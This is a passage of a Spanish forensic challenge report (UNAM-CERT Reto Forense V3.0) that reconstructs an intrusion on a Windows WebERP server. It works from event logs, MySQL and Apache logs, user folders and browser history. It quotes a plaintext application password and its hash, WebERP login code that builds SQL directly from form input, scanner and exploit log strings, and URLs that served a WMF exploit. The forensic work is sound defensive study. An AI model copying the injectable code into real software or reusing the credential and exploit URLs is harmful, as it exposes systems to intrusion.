Vamos ahora colectar información de los eventos que ocurrieron en la maquina, comenzaremos colectando la información de eventos a nivel del sistema operativo y después lo haremos con la aplicación WebERP. A nivel sistema operativo Windows almacena información de los eventos que suceden en el (Tanto de aplicaciones como del mismo S.O.) en los archivos de registro Evt (Los mismos que se encuentran en (/mnt/forense/WINDOWS/system32/config o C:\WINDOWS\system32\config en la maquina original).

Dichos archivos se relacionan de la siguiente forma:

- SysEvent.Evt Contiene información de los eventos del sistema. - AppEvent.Evt Contiene información de los eventos de las aplicaciones. - SecEvent.Evt Contienen información de los eventos ligados a la seguridad

del sistema.

Adicionalmente se encontró entre ellos un archivo DnsEvent.Evt que suponemos contiene información del servicio de Servidor DNS de Windows. Como ya tenemos estos archivos en nuestra maquina con Windows (Los extrajimos con toda la carpeta Config) podemos comenzar a analizarlos, para ellos usamos el Visor de sucesos de Windows, el cual es una herramienta diseñada por Microsoft para este fin. Esta herramienta se encuentra en las “Herramientas Administrativas” dentro del panel de control de Windows.

/mnt/forense/WINDOWS/system32/config# ls -l *.Evt -rw------- 1 root root 65536 Feb 5 18:44 AppEvent.Evt -rw------- 1 root root 65536 Feb 5 18:44 DnsEvent.Evt -rw------- 1 root root 4849664 Feb 5 18:44 SecEvent.Evt -rw------- 1 root root 131072 Feb 5 18:44 SysEvent.Evt

Page 16: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

16

Al abrir la herramienta se cargan los sucesos correspondientes a nuestro equipo de laboratorio, para cargar los archivos que extrajimos para analizar vamos al menú “Acción” , seleccionamos la opción “Abrir archivos de registro”, hay que especificar el tipo de registro del que se trata (Sistema, Aplicación o Seguridad) tomamos el archivo y listo.

Una vez cargado el archivo, se despliegan los sucesos registrados. En la lista podemos ver el tipo de evento, fecha y hora (Una observación es que la hora corresponde a tiempo GMT -6Hrs para traducirlo al tiempo original de la maquina (PST) que analizamos habrá que restarle 2 Hrs mas), quien lo origino, el identificador del evento y el ID del usuario (Del ID las ultimas cifras las podemos relacionar directamente con la tablas de usuarios que anteriormente obtuvimos para saber exactamente el usuario del que se trata, así por ejemplo tenemos el ID S-1-5-21-2780117151-1340924567-2512508698-500, buscamos el 500 en la tabla de usuarios y sabemos que se trata de la cuenta Administrador).

Page 17: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

17

Para el registro de sistema tenemos información desde el 25 de Enero hasta el 05 de Febrero del 2006. Para ver la descripción de un suceso basta dar doble clic sobre el, así podemos ir revisando la historia contenida en los registros. A continuación se muestran dos eventos de ejemplo, en este caso se trata de los eventos que se generaron al instalar PHP y MySQL (De ahí se obtuvo la versión exacta de las aplicaciones.

Cargamos en el visor de sucesos los archivos que extrajimos y comenzamos a ver los eventos. Después de revisar la enorme lista de eventos, encontramos algunos que son interesantes, dada la cantidad de eventos la mejor forma de visualizarlo es con la siguiente grafica, en la cual se muestran los eventos relevantes conforme a una línea de tiempo basada en el tiempo original de la maquina PST.

Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Seguimiento detallado Id. suceso: 592 Fecha: 26/01/2006 Hora: 06:03:12 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-500 Equipo: COUNTERS Descripción: Se ha creado un proceso: Id. de proceso: 2220 Nombre de archivo de imagen: \Device\Harddisk1\DP(1)0-0+5\ERP\php-4.4.2-installer.exe Id. de proceso creador: 1020 Nombre de usuario: Administrator Dominio: COUNTERS Id. de inicio de sesión: (0x0,0xDC31C) Para obtener más información, vea el Centro de ayuda y soporte técnico en http://go.microsoft.com/fwlink/events.asp.

Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Seguimiento detallado Id. suceso: 592 Fecha: 26/01/2006 Hora: 06:38:20 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-500 Equipo: COUNTERS Descripción: Se ha creado un proceso: Id. de proceso: 3352 Nombre de archivo de imagen: C:\Documents and Settings\Administrator\Desktop\mysql-4.1.16-win32\Setup.exe Id. de proceso creador: 1020 Nombre de usuario: Administrator Dominio: COUNTERS Id. de inicio de sesión: (0x0,0xDC31C) Para obtener más información, vea el Centro de ayuda y soporte técnico en http://go.microsoft.com/fwlink/events.asp.

Page 18: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

18

Page 19: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

19

La actividad de los usuarios se señala marcando los cuadros mediante colores. Los colores se asignaron de la siguiente forma.

Administrador

maru

maik

ver0k

Johnatan

reno

Al evaluar los eventos nos damos cuenta que en varias ocasiones el usuario Johnatan hace el cambio al usuario Administrador (Cierra sesión e inmediatamente la abre como Administrador), por lo que suponemos que dicho usuario es quien administraba el servidor. Destacamos los siguientes eventos:

- El día 26/01/2006 6:00 PM el usuario Administrador Instala apache, 8:03 Instalación de PHP,8:38 Instalación de MySQL.

- El día 31/01/2006 10:45 PM Administrador Utiliza wget, 12:51 Instala y accede al BitTorrent.

- El día 01/02/2006 10:47 el administrador ejecuta de wget. De 12:50 Instalación de Firefox.

- El día 02/02/2006 de 5:51 a 6:27 el Administrador instala actualizaciones de Windows.

- El día 04/02/2006 El administrador 1:17 Pone en marcha el DNS, crea y activa la cuenta Postgres

Finalmente el día 05/02/2006 12:45:30 p.m. el usuario Jonhatan crea al usuario ver0k y comienza actividad sospechosa del usuario ver0k. Ojo el usuario ver0k se creo con el usuario Jonhatan como lo muestra el siguiente evento:

Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Administración de cuentas Id. suceso: 632 Fecha: 05/02/2006 Hora: 12:45:30 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1006 Equipo: COUNTERS Descripción: Miembro de grupo global habilitado de seguridad agregado: Nombre del miembro: - Id. del miembro: S-1-5-21-2780117151-1340924567-2512508698-1024 Nombre de cuenta destino: None Dominio de destino: COUNTERS Id. de cuenta destino: %{S-1-5-21-2780117151-1340924567-2512508698-513} Nombre de usuario llamador: Johnatan Dominio del llamador: COUNTERS Id. de inicio de sesión del llamador: (0x0,0x3DF69A) Privilegios: -

Page 20: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

20

Como podemos ver el usuario Johnatan no solo crea la cuenta ver0k, si no que además la agrega al grupo de administradores. El usuario ver0k ingresa al sistema inmediatamente después de ser creado y se mantiene en el hasta aproximadamente las 15:44 HRS PST (O al menos a esa hora aparece el ultimo registro). Verificando los eventos el registro de seguridad (SecEvent.Evt) podemos rastrear el paso de este usuario a través del sistema, a fin de que esta actividad quede mas clara la exponemos más adelante junto a más evidencia recolectada.

3.4 Reconstrucción de la aplicación ERP.

A fin de entender mejor el estado de la aplicación reconstruiremos ahora la aplicación WebERP, para ello extraemos el directorio htdocs completo del Apache, y lo montamos en el Apache que tenemos funcionando en nuestra maquina de laboratorio (El que se instalo con el XAMPP), también extraemos el directorio data de MySQL y de ahí tomamos la información dentro de weberp y los archivos InnoDB (counters-bin.index, ib_logfile1, counters-bin.000001, counters.log, ibdata1, ib_logfile0, counters.err), que anteriormente mencionamos. Y los colocamos en nuestro servidor de MySQL (Que se instalo con el XAMPP). Como

Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Administración de cuentas Id. suceso: 624 Fecha: 05/02/2006 Hora: 12:45:30 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1006 Equipo: COUNTERS Descripción: Cuenta de usuario creada: Nombre de cuenta nueva: ver0k Dominio nuevo: COUNTERS Id. de cuenta nueva: S-1-5-21-2780117151-1340924567-2512508698-1024 Nombre de usuario llamador: Johnatan Dominio del llamador: COUNTERS Id. de inicio de sesión del llamador: (0x0,0x3DF69A) Privilegios - Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Administración de cuentas Id. suceso: 636 Fecha: 05/02/2006 Hora: 12:45:53 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1006 Equipo: COUNTERS Descripción: Miembro de grupo local habilitado de seguridad agregado: Nombre del miembro: - Id. del miembro: S-1-5-21-2780117151-1340924567-2512508698-1024 Nombre de cuenta destino: Administrators Dominio de destino: Builtin Id. de cuenta destino: BUILTIN\Administradores Nombre de usuario llamador: Johnatan Dominio del llamador: COUNTERS Id. de inicio de sesión del llamador: (0x0,0x3DF69A) Privilegios: -

Page 21: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

21

vimos la aplicación utilizaba un usuario weberp sin password, así que creamos en nuestra base de datos dicho usuario y arrancamos la aplicación. La siguiente es una imagen de como se lucia la aplicación:

El problema es que necesitamos un usuario para acceder, antes de crearlo directo en la base de datos damos una vistazo al archivo counters.log que es el log del MySQL y en el quedan registradas las transacciones que se llevan a cabo en el servidor, encontramos actividad del 06/02/03 19:57:47 al 06/02/05 14:20:06, verificando la estructura de la base de datos weberp, encontramos que los usuarios se registran en la tabla www_users así que buscamos en el log transacciones que refieran esta tabla. Pronto encontramos transacciones como la que sigue:

72 Connect weberp_us@localhost as anonymous on 72 Init DB weberp 5 Query SHOW STATUS 5 Query SHOW INNODB STATUS 72 Query SELECT www_users.fullaccess, www_users.customerid, www_users.lastvisitdate, www_users.pagesize, www_users.defaultlocation, www_users.branchcode, www_users.modulesallowed, www_users.blocked, www_users.realname, www_users.theme, www_users.displayrecordsmax, www_users.userid, www_users.language FROM www_users WHERE www_users.userid='acontreras' AND (www_users.password='067f1396a8434994b5c1c69edfd29c17571993ee' OR www_users.password='c0ntr3t0') 72 Query UPDATE www_users SET lastvisitdate='2006-02-03 19:59:18' WHERE www_users.userid='acontreras' AND www_users.password='067f1396a8434994b5c1c69edfd29c17571993ee'

Page 22: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

22

En ese fragmento del log se puede ver como la aplicación realiza una conexión a la base de datos verifica la existencia del usuario y actualiza el campo lastvisitdate, que es un registro de las visitas del usuario. En este punto encontramos otro grabe fallo de seguridad, esta vez en la aplicación WebERP ya que según podemos ver en las líneas AND (www_users.password =

'067f1396a8434994b5c1c69edfd29c17571993ee' OR www_users.password='c0ntr3t0') el password esta siendo recibido en texto claro. Nos referimos a la documentación de la aplicación en www.weberp.org y encontramos en el archivo session.inc que maneja la autenticación el siguiente código.

La aplicación encripta el password pero también tiene la opción de dejarlo como texto plano, esto significa que aunque en la base de datos el password se encuentra encriptado, cuando los usuarios acceden a la aplicación el passowrd se envié por la red en texto plano, lo que supone un riesgo en caso de que alguien estuviese realizando sniffing sobre la red. Aprovechando esta información desistimos de crear un usuario y mejor usamos este que encontramos. Al acceder podemos ver la lista de usuarios de la aplicación en el modulo “setup” en la opción user accounts.

$sql = "SELECT www_users.fullaccess, www_users.customerid, www_users.lastvisitdate, www_users.pagesize, www_users.defaultlocation, www_users.branchcode, www_users.modulesallowed, www_users.blocked, www_users.realname, www_users.theme, www_users.displayrecordsmax, www_users.userid, www_users.language FROM www_users WHERE www_users.userid='" . $_POST['UserNameEntryField'] . "' AND (www_users.password='" . CryptPass($_POST['Password']) . "' OR www_users.password='" . $_POST['Password'] . "')"; $Auth_Result = DB_query($sql, $db);

Page 23: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

23

Los siguientes usuarios existían en la aplicación:

User Login Full Name Last Visit Security Group

juma Juan Morales Fierro // Bancos carsel Carmen Serrano Luna // Compras chtorret Chema Torret 03/02/2006 Compras sarnua Sara Núñez Aldana // Compras

ncanes Napoleón Canes 12/03/2006 Gerente de Compras y Abatecimiento

andre Andrea Escalera Nava // Gerente de Recursos Humanos amed Antonio Medina Ocaña 03/02/2006 Inventario gabsa Gabriela Sandoval Portillo // Inventario gruvalcaba Gumaro Ruvalcaba 03/02/2006 Inventario Jehern Jesús Hernandez Cuevas // Inventario majogar María José García Rubio 03/02/2006 Inventario mamuria Miguel Angel Muria Torres 03/02/2006 Inventario maubaro Mauricio Barrios Santiago 03/02/2006 Inventario mavep Mayra Velázquez Prieto 03/02/2006 Inventario amirac Astrid Miranda Acuña // Secretaria acontreras Alberto Contreras Zacarías 19/03/2006 System Administrator admin admin // System Administrator egavilan Ernesto Gavilán // System Administrator rodid Rodrigo Ibarra Díaz 03/02/2006 System Administrator roxar Roxana Aguilar de la Riva 02/02/2006 System Administrator dizav Diego Zárate Vite // Ventas eduajt Eduardo Jiménez Tapia 03/02/2006 Ventas

ladelga Luis Ignacio Aguiñaga Delgado 03/02/2006 Ventas

Como podemos ver existen 5 cuentas de administrador en el sistema, marcamos en rojo la cuenta admin., ya que resulta sospechosa debido a que no tiene ningún dato que haga referencia al usuario. Todas las cuentas incluyen el nombre, teléfono y otros generales de los usuarios a los que pertenecen, esta no, aunque al parecer esta cuenta no ha sido usada, podemos suponer que esta es la cuenta sospechosa que encontró el administrador ya que no sigue tiene el mismo patrón con el cual fueron creadas las demás cuentas. Buscaremos mas información de la creación de dicha cuenta colectando eventos del WebERP.

3.5 Colectando eventos del WebERP.

Colectaremos ahora eventos referente a la aplicación WebERP, para ello analizaremos los logs del Apache y del MySQL, los archivos son el access.log error.log en el directorio “logs” de apache y counters.log en el directorio “data” de MySQL Buscaremos hacer coincidir los tiempos. Nuevamente exponemos esta actividad mediante un diagrama:

Page 24: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

24

Page 25: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

25

Esta ves marcamos en verde el tráfico hacia el WebServer que no resulta relevante, marcamos en amarillo cuando se generaba tráfico desde IP’s externas a la red en la que se encontraba el servidor, o se manipulaban usuarios, permisos o contraseñas y marcamos en rojo cuando se encuentra evidencia clara de un ataque hacia el servidor, los siguientes eventos destacan:

- El día 28/01/06 de 16:51 a 16:53 IP 192.168.100.180 se encuentra cadena "\xff\xf4\xff\xfd\x06quit"un probable intento de exploit al servidor. Note que la IP es una IP privada y pertenece a la misma Subred del servidor.

- El día 29/01/06 de 08:01 IP 201.141.48.75 se encuentra en el log CONNECT msa-mx8.hinet.net:25 HTTP/1.0. Esta cadena es un intento desde una IP externa para usar el servidor como Proxy para el envió de SPAM. Encontramos intentos similares el día 30 a las 07:40 desde la IP 218.169.71.114, el día 04/02/06 a las 20:31 desde 61.228.157.221, 22:04 desde 220.134.13.167. En estos intentos el atacante trata de utilizar el servidor como proxy para conectarse a un servidor de correo externo, esto con la probable finalidad de enviar SPAM a través de el.

- El día 29/01/2006 a las 17:01 desde 134.186.42.18 se encuentra "GET /w00tw00t.at.ISC.SANS.DFind:)" la cual es una firma de un scanner de vulnerabilidades mas información sobre su uso se puede encontrar en http://www.symantec.com/avcenter/venc/data/hacktool.dfind.html .

- El día 30/01/2006 de 17:28 a 17:31 desde 192.168.100.144 se llevo a cavo un escaneo de vulnerabilidades muy probablemente usando el scanner Nikto (http://www.cirt.net/code/nikto.shtml). Nótese que este viene de una IP de la misma subred que el servidor.

- El dia 04/02/2006 de 14:04 a 14:26 se encuentra un segundo escaneo de vulnerabilidades desde 84.18.17.15, esta ves usando la herramienta NESSUS (http://www.nessus.org), note que esta vez el ataque viene desde una IP externa.

Finalmente el día 05/02/2006 a las 13:57 se crea la cuenta 'admin" desde 70.107.249.150. En el diagrama podemos ver además cuando se manipularon los usuarios, para ello buscamos hits del WebServer sobre el script /web-erp/WWW_Users.php que según la documentación del WebERP es el que manipula los usuarios. Después buscamos hacer coincidir las fechas con las transacciones guardadas en Counters.log (Aun que se dispone de poca historia), al seguir la historia contenida en el access.log de apache, y revisando lo que hacen los scripts del WebERP que recibieron hits, podemos ver que aproximadamente hasta el día 5 de Febrero se estuvo trabajando en la configuración de la aplicación. La mayor parte de este trabajo se llevo a cabo con la cuenta de administrador acontreras. Ubicamos la creación del usuario admin, en los siguientes fragmentos de los logs access.log y counters.log.

Page 26: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

26

060205 13:57:51 1389 Connect weberp_us@localhost as anonymous on 1389 Init DB weberp 1389 Query SELECT www_users.fullaccess, www_users.customerid, www_users.lastvisitdate, www_users.pagesize, www_users.defaultlocation, www_users.branchcode, www_users.modulesallowed, www_users.blocked, www_users.realname, www_users.theme, www_users.displayrecordsmax, www_users.userid, www_users.language FROM www_users WHERE www_users.userid='acontreras' AND (www_users.password='067f1396a8434994b5c1c69edfd29c17571993ee' OR www_users.password='c0ntr3t0') 1389 Query UPDATE www_users SET lastvisitdate='2006-02-05 13:57:51' WHERE www_users.userid='acontreras' AND www_users.password='067f1396a8434994b5c1c69edfd29c17571993ee' 060205 13:57:52 1389 Query SELECT tokenid FROM securitygroups WHERE secroleid = 8 1389 Quit 1390 Connect weberp_us@localhost as anonymous on 1390 Init DB weberp 1390 Query SELECT confname, confvalue FROM config 1390 Query SELECT coyname, gstno, regoffice1, regoffice2, regoffice3, regoffice4, regoffice5, regoffice6, telephone, fax, email, currencydefault, debtorsact, pytdiscountact, creditorsact, payrollact, grnact, exchangediffact, purchasesexchangediffact, retainedearnings, freightact, gllink_debtors, gllink_creditors, gllink_stock FROM companies WHERE coycode=1

Page 27: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

27

060205 14:00:15 1398 Connect weberp_us@localhost as anonymous on 1398 Init DB weberp 1398 Query SELECT secroleid, secrolename FROM securityroles ORDER BY secroleid 1398 Query INSERT INTO www_users (userid, realname, customerid, branchcode, password, phone, email, pagesize, fullaccess, defaultlocation, modulesallowed, displayrecordsmax, theme, language) VALUES ('admin', 'admin', '', '', '5542a545f7178b48162c1725ddf2090e22780e25', '', '', 'A4', 8, 'AGS', '1,1,1,1,1,1,1,1,', 50, 'fresh', 'en_GB') 1398 Query SELECT userid, realname, phone, email, customerid, branchcode, lastvisitdate, fullaccess, pagesize FROM www_users 1398 Query SELECT loccode, locationname FROM locations 1398 Quit

70.107.249.150 - - [05/Feb/2006:13:57:37 -0800] "GET /web-erp/css/professional/login.css HTTP/1.1" 200 1394 70.107.249.150 - - [05/Feb/2006:13:57:37 -0800] "GET /web-erp/css/webERP.gif HTTP/1.1" 200 2506 70.107.249.150 - - [05/Feb/2006:13:57:37 -0800] "GET /web-erp/logo_server.jpg HTTP/1.1" 200 8203 70.107.249.150 - - [05/Feb/2006:13:57:37 -0800] "GET /web-erp/css/bg.gif HTTP/1.1" 200 1275 70.107.249.150 - - [05/Feb/2006:13:57:37 -0800] "GET /web-erp/css/spacer.gif HTTP/1.1" 200 43 70.107.249.150 - - [05/Feb/2006:13:57:37 -0800] "GET /favicon.ico HTTP/1.1" 404 283 70.107.249.150 - - [05/Feb/2006:13:57:52 -0800] "POST /web-erp/index.php HTTP/1.1" 200 76 70.107.249.150 - - [05/Feb/2006:13:57:52 -0800] "GET /web-erp/index.php? HTTP/1.1" 200 6628 70.107.249.150 - - [05/Feb/2006:13:57:52 -0800] "GET /web-erp/css/fresh/default.css HTTP/1.1" 200 6543 70.107.249.150 - - [05/Feb/2006:13:57:52 -0800] "GET /web-erp/favicon.ico HTTP/1.1" 200 1406 70.107.249.150 - - [05/Feb/2006:13:57:52 -0800] "GET /web-erp/css/fresh/images/transactions.gif HTTP/1.1" 200 1548 70.107.249.150 - - [05/Feb/2006:13:57:52 -0800] "GET /web-erp/css/fresh/images/menucurve.gif HTTP/1.1" 200 976 70.107.249.150 - - [05/Feb/2006:13:57:52 -0800] "GET /web-erp/css/fresh/images/reports.gif HTTP/1.1" 200 434 70.107.249.150 - - [05/Feb/2006:13:57:52 -0800] "GET /web-erp/css/fresh/images/maintenance.gif HTTP/1.1" 200 1383 70.107.249.150 - - [05/Feb/2006:13:57:52 -0800] "GET /web-erp/css/webERPsm.gif HTTP/1.1" 200 357 70.107.249.150 - - [05/Feb/2006:13:57:52 -0800] "GET /web-erp/css/fresh/bullet.gif HTTP/1.1" 200 183 70.107.249.150 - - [05/Feb/2006:13:57:54 -0800] "GET /web-erp/PDFDeliveryDifferences.php? HTTP/1.1" 200 4083 70.107.249.150 - - [05/Feb/2006:13:57:57 -0800] "GET /web-erp/index.php? HTTP/1.1" 200 6628 70.107.249.150 - - [05/Feb/2006:13:58:00 -0800] "GET /web-erp/index.php?&Application=system HTTP/1.1" 200 9083

Page 28: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

28

Como podemos observar al momento de realizar el INSERT con los datos del usuario a la base de datos, existe actividad en WWW_Users.php desde 70.107.249.150 de ahí deducimos que el usuario se creo desde esta IP. Un momento antes se había conectado el usuario acontreras en el momento en que se validaba el usuario en la base de datos, existía actividad en index.php específicamente se uso un POST (Envió de información), como no existe indicio de que otro usuario se hubiese conectado en ese momento. Deducimos que la cuenta admin fue creada por usando la cuenta acontreras la cual tenia privilegios de administrador, conectándose desde 70.107.249.150.

3.6 Colectando evidencia del File System.

Ahora vamos recopilar evidencia revisando directamente en el File System que se nos proporciono, para ello usaremos la herramienta Autopsy que instalamos en nuestra maquina virtual con Knoppix, puede encontrar información de la herramienta en http://www.sleuthkit.org/autopsy , en el informe técnico que elabore para el anterior reto forense (V.2.0), realice una descripción de como crear el caso y usar la herramienta, por ello no abundare en esos detalles esta ocasión, sin desea saber un poco mas de como usar la herramienta, también puede consultar ese informe en http://www.seguridad.unam.mx/eventos/reto/retov2.dsc . Creamos un caso en autopsy y cargamos la imagen cuidando de señalar que se trata de un NTFS. Vamos a revisar el contenido de las carpetas de usuario las cuales se encuentran en “Documentes And Settings”, desde Knoppix encontramos lo siguiente:

1763 70.107.249.150 - - [05/Feb/2006:13:58:00 -0800] "GET /web-erp/css/fresh/images/inventory.gif HTTP/1.1" 200 1751 70.107.249.150 - - [05/Feb/2006:13:58:02 -0800] "GET /web-erp/SystemParameters.php? HTTP/1.1" 200 16483 70.107.249.150 - - [05/Feb/2006:13:58:06 -0800] "GET /web-erp/index.php? HTTP/1.1" 200 9083 70.107.249.150 - - [05/Feb/2006:13:58:10 -0800] "GET /web-erp/WWW_Users.php? HTTP/1.1" 200 14613 70.107.249.150 - - [05/Feb/2006:13:59:44 -0800] "POST /web-erp/WWW_Users.php? HTTP/1.1" 200 14760 70.107.249.150 - - [05/Feb/2006:14:00:15 -0800] "POST /web-erp/WWW_Users.php? HTTP/1.1" 200 14951 70.107.249.150 - - [05/Feb/2006:14:00:59 -0800] "GET /web-erp/Logout.php? HTTP/1.1" 200 2449 70.107.249.150 - - [05/Feb/2006:14:00:59 -0800] "GET /web-erp/css/fresh/login.css HTTP/1.1" 200 1415 70.107.249.150 - - [05/Feb/2006:14:00:59 -0800] "GET /web-erp/companies/weberp/logo.jpg HTTP/1.1" 200 8203

/mnt/forense/Documents and Settings# ls -l total 0 drwx------ 1 root root 4096 Feb 4 16:26 Administrator drwx------ 1 root root 4096 Jan 26 01:40 All Users drwx------ 1 root root 49152 Jan 26 01:42 Default User drwx------ 1 root root 4096 Feb 2 20:53 Johnatan drwx------ 1 root root 4096 Jan 26 01:58 LocalService drwx------ 1 root root 4096 Jan 26 01:58 NetworkService drwx------ 1 root root 4096 Feb 3 21:11 maick drwx------ 1 root root 4096 Jan 26 17:59 maru drwx------ 1 root root 4096 Feb 4 17:46 postgres drwx------ 1 root root 4096 Feb 2 21:34 reno drwx------ 1 root root 4096 Feb 5 15:47 ver0k

Page 29: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

29

Como vemos los existen directorios para los usuarios Johnatan, Administrador, maick, maru, reno, ver0k. Sabemos que el usuario postgres se utilizo solamente para la aplicación Postgres (Debido a que así lo muestran los eventos), las demás cuentas son creadas por el sistema. Revisaremos de cada usuario el contenido de la carpeta “My Documents” (Documents and Settings/Usuario/My Documents).

Para el usuario Administrador encontramos algunos documentos e imágenes, algunas de ellas de índole sexual, también existe ahí una carpeta “Sof7w4r3” que contiene las siguientes herramientas de administración de red: Tcpview.exe, cports.exe, languardnss6.exe también esta el paquete de instalación de Postgres postgresql-8.1.0-2.zip. Existe también una carpeta “updates” que contiene algunos de los parches que se le instalaron a Windows. Hay una carpeta My Videos, donde encontramos algunos videos de entretenimiento, imágenes índole sexual y animaciónes de la serie animada de Huevo Cartoon (http://www.huevocartoon.com ). Algunos de los archivos encontrados:

Para el usuario Johnatan encontramos en “My Documents” una carpeta Dr. Salamo con algunos documentos de Office y una carpeta imágenes con imágenes y videos de índole sexual. Para el usuario reno encontramos bastantes documentos de Office. Para el usuario ver0k, maru, y el usuario maik no encontramos nada.

Dado el contenido que encontramos en algunas carpetas (Videos e imágenes de índole sexual y animaciones que regularmente se consiguen en la Web), y dado que encontramos varios eventos en SecEvent.Evt que nos indican que los usuarios utilizaron Internet Explorer y Mozilla Firefox vamos a revisar el Historial y cache de los navegadores. Comenzamos revisando el Historial de

Documents and Settings/Administrator/My Documents/My Videos ANTAGONISTAS JESUS.EXE el huevo tenorio.exe mordida.exe Bsb.exe Juego Huevo.exe elsalon.exe muchosregalos.exe DIVORCIA.EXE Muchos Huevos.exe fiesta en el antro.exe no existieras.exe El antiestres de los huevos.exe Osama Bin Huevo.exe frasquitos.exe no muerdo.exe Huevo -Te amo.exe Perdonam.exe hasta la muerte.exe no te azotes.exe Huevo Amor Maduro.exe Poetas Huevos 2a Edicion.exe haz algo.exe poetas[1].exe Huevo Cartoon - Mundial de Huevos.exe Porraparamama.exe huevo Cremas.exe recuperate.exe Huevo Frito.exe Te quiero como a mi huevo.exe huevo ojal?.exe saludosamama.exe Huevo Perdoname.exe Tenorios.exe huevo sarten.exe sarten.exe Huevo Toi.exe TestdeRavenH.exe huevo.exe tahnisetup.exe Huevo no es personal.exe amigas de huevos.exe huevos famosos.exe temoc.exe

Page 30: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

30

Internet Explorer, para ello buscamos dentro de la carpeta de cada usuario ingresamos Local Settings\History\History.IE5\ ahí veremos varias carpetas con nombres de fechas:

Dentro de cada una existe un archivo index.dat que contiene el historial de Internet Explorer, extraemos vía secure copy la estructura completa de History.IE5. El análisis lo llevaremos a cabo usando la herramienta IEHistoryView, esta herramienta nos permite cargar los archivos index.dat y ver contenido así como las fechas, mas información de la herramienta puede ser encontrada en http://www.nirsoft.net/utils/iehv.html .

Vamos revisando cada archivo index.dat principal cargándolo con la opción select history fólder.

Para el usuario maru no encontramos nada. Para el usuario administrador. Encontramos algunos accesos a Google, http://search.bittorrent.com, al mismo WebERP, y finalmente algunos accesos a las imágenes de contenido sexual que habíamos encontrado dentro de la carpeta del usuario Johnathan (ile:///C:/Documents%20and%20Settings/Johnatan/My%20Documents/imagenes/overlay_3_2006020107031.jpg).

Documents and Settings/Administrator/Local Settings/History.IE5 total 0 0 drwx------ 1 root root 0 Jan 30 16:34 MSHist012006012320060130 0 drwx------ 1 root root 0 Jan 30 16:34 MSHist012006013020060131 0 drwx------ 1 root root 0 Feb 1 13:25 MSHist012006020120060202 0 drwx------ 1 root root 0 Feb 2 21:28 MSHist012006020220060203 0 drwx------ 1 root root 0 Feb 3 13:24 MSHist012006020320060204 0 drwx------ 1 root root 0 Feb 4 16:21 MSHist012006020420060205 0 drwx------ 1 root root 0 Feb 5 14:51 MSHist012006020520060206 0 -rw------- 1 root root 113 Jan 26 01:41 desktop.ini 0 -rw------- 1 root root 65536 Feb 5 18:32 index.dat

Page 31: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

31

Para el usuario maick el usuario encontramos algunos hits www.google.com. Para el usuario reno encontramos acceso a algunos de sus documentos y a las imágenes de índole sexual contenidas en file:///C:/Documents and Settings/reno/My Documents/imagenes/overlay_2_2006020110004.jpg , pero todo dentro de la maquina.

Para el usuario Johnatan encontramos cosas interesantes, entre las 12:26 PST y las 13:06 PST del día 05/02/06 dicho usuario ingreso al servicio de correo de Yahoo desde el servidor (Sabemos esto porque en el historial encontramos varios Hits hacia http://e1.f376.mail.yahoo.com) , hay algo que llama mucho la atención y es que a las 12:41 PST ingreso a la siguiente dirección http://70.107.249.150/clientes.wmf, a las 12:44 PST http://70.107.249.150:8080/clientes.wmf e inmediatamente después a http://70.107.249.150:8080/GPlw9OgYR6/uSvcCeC1V18W/bfKJ0KMsfYBZnaFKx6dZs/FHBwenHfCEt6do1Z/e9zhOEMQ052

zYwSU5Oi/AUWWckI2mU/LQ9ClubslAJKIa2jdYtSFExez4sRyL.tiff . Esta actividad parece bastante sospechosa debido a que dicha dirección 70.107.249.150 es la misma desde la que descubrimos que se creo la cuenta admin. Además de que la fecha y el horario coincide con la creación de la misma (Mas o menos una hora de diferencia) además de coincidir con la creación del usuario ver0k la cual se efectuó a las 12:45 PST de ese mismo día.

Para el usuario ver0k, encontramos que accedió a todas las imágenes de índole sexual que se encontraban en el servidor, además de haber accedido a la Web de www.huevocartoon.com, MSN , y a algunos documentos contenidos en el fólder de reno. Llama mucho la atención que también accedió a los siguientes archivos, file:///C:/apache/Apache/htdocs/web-erp/config.php y file:///C:/apache/Apache/htdocs/web-erp/AccountGroups.php.

